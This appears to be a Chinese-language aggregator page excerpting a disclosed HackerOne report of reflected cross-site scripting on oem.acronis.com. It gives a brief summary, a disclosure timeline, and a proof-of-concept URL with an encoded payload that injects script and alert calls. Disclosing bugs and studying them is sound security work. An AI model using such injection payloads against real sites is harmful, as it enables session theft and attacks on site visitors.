[oem.acronis.com] Reflected Cross Site Scripting
该报告还没有中文解读。
原文摘录
摘自原文（429 字符中的一小部分）
Summary Hi Acronis team i have found a XSS reflected in:oem.acronis.com
原文中的代码
https://oem.acronis.com/test/testenv.html/%3C/pre%3E%3Cisindex%20type%3Dimage%20src%3D1%20onerror%3Dalert%289166%29%3E%3Cscript%3Ealert(origin)%3C/script%3E
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Acronis 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @darkdream · 版权归作者与 Acronis 所有